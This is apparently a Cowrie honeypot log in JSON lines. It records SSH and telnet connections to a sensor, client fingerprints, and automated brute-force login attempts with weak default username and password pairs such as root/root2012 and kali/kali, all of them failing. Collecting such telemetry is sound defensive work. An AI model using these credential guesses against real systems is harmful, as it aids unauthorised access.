{"eventid":"cowrie.session.closed","duration":7.488103628158569,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:50.367669Z","src_ip":"192.119.13.58","session":"ad46d9bcf69f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:51.551033Z","src_ip":"45.153.34.112","session":"a9f1fd2a6a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.142940044403076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:51.569552Z","src_ip":"192.119.13.58","session":"405903e8b82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":37730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b92c185b0e8","protocol":"ssh","message":"New connection: 170.238.160.191:37730 (10.17.0.5:22) [session: 0b92c185b0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:52.518750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:52.524014Z","src_ip":"170.238.160.191","session":"0b92c185b0e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:52.635450Z","src_ip":"170.238.160.191","session":"0b92c185b0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":60360,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e656de085b","protocol":"ssh","message":"New connection: 116.110.15.216:60360 (159.203.135.109:22) [session: 39e656de085b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:52.922651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:52.926461Z","src_ip":"116.110.15.216","session":"39e656de085b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.110902Z","src_ip":"170.238.160.191","session":"0b92c185b0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53482,"dst_ip":"10.17.0.5","dst_port":22,"session":"51c8e3332866","protocol":"ssh","message":"New connection: 45.153.34.112:53482 (10.17.0.5:22) [session: 51c8e3332866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.353253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.363202Z","src_ip":"45.153.34.112","session":"51c8e3332866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.445793Z","src_ip":"45.153.34.112","session":"51c8e3332866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.693655Z","src_ip":"45.153.34.112","session":"51c8e3332866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:53.966614Z","src_ip":"116.110.15.216","session":"39e656de085b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:54.225347Z","src_ip":"170.238.160.191","session":"0b92c185b0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"0316114c4e48","protocol":"telnet","message":"New connection: 192.119.13.58:39860 (10.17.0.5:23) [session: 0316114c4e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:54.304917Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:54.779907Z","src_ip":"45.153.34.112","session":"51c8e3332866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79362678527832,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:55.324040Z","src_ip":"192.119.13.58","session":"c8cc33251eb3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:56.196092Z","src_ip":"116.110.15.216","session":"39e656de085b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e031500c7117","protocol":"telnet","message":"New connection: 192.119.13.58:50264 (10.17.0.5:23) [session: e031500c7117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:56.734693Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53496,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c162bb28b2","protocol":"ssh","message":"New connection: 45.153.34.112:53496 (10.17.0.5:22) [session: c3c162bb28b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:56.914322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:56.919609Z","src_ip":"45.153.34.112","session":"c3c162bb28b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.002943Z","src_ip":"45.153.34.112","session":"c3c162bb28b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.253451Z","src_ip":"45.153.34.112","session":"c3c162bb28b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":11004,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0658d9441b3","protocol":"ssh","message":"New connection: 158.178.141.16:11004 (10.17.0.5:22) [session: c0658d9441b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.267290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.273049Z","src_ip":"158.178.141.16","session":"c0658d9441b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.470805Z","src_ip":"116.110.15.216","session":"39e656de085b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:57.481372Z","src_ip":"158.178.141.16","session":"c0658d9441b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.79498243331909,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:58.170382Z","src_ip":"192.119.13.58","session":"f0c2171c9fa3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"xingling","message":"login attempt [root/xingling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:58.346211Z","src_ip":"158.178.141.16","session":"c0658d9441b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:58.452301Z","src_ip":"45.153.34.112","session":"c3c162bb28b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":33380,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a329cddeba7","protocol":"ssh","message":"New connection: 43.173.122.127:33380 (10.17.0.5:22) [session: 9a329cddeba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:59.141760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:59.146154Z","src_ip":"43.173.122.127","session":"9a329cddeba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:59.214199Z","src_ip":"43.173.122.127","session":"9a329cddeba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:59.518323Z","src_ip":"43.173.122.127","session":"9a329cddeba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:59.557117Z","src_ip":"158.178.141.16","session":"c0658d9441b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51990,"dst_ip":"10.17.0.5","dst_port":22,"session":"149341253784","protocol":"ssh","message":"New connection: 45.153.34.112:51990 (10.17.0.5:22) [session: 149341253784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.327782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.335790Z","src_ip":"45.153.34.112","session":"149341253784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.422161Z","src_ip":"45.153.34.112","session":"149341253784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.589752Z","src_ip":"43.173.122.127","session":"9a329cddeba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.681364Z","src_ip":"45.153.34.112","session":"149341253784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"98cdf233a478","protocol":"telnet","message":"New connection: 192.119.13.58:39242 (10.17.0.5:23) [session: 98cdf233a478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:00.728101Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8493127b5c1b","protocol":"telnet","message":"New connection: 192.119.13.58:41252 (10.17.0.5:23) [session: 8493127b5c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:01.219028Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca94213c0506","protocol":"telnet","message":"New connection: 192.119.13.58:42436 (10.17.0.5:23) [session: ca94213c0506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:01.510262Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:38:01.768278Z","src_ip":"45.153.34.112","session":"149341253784","protocol":"ssh"}
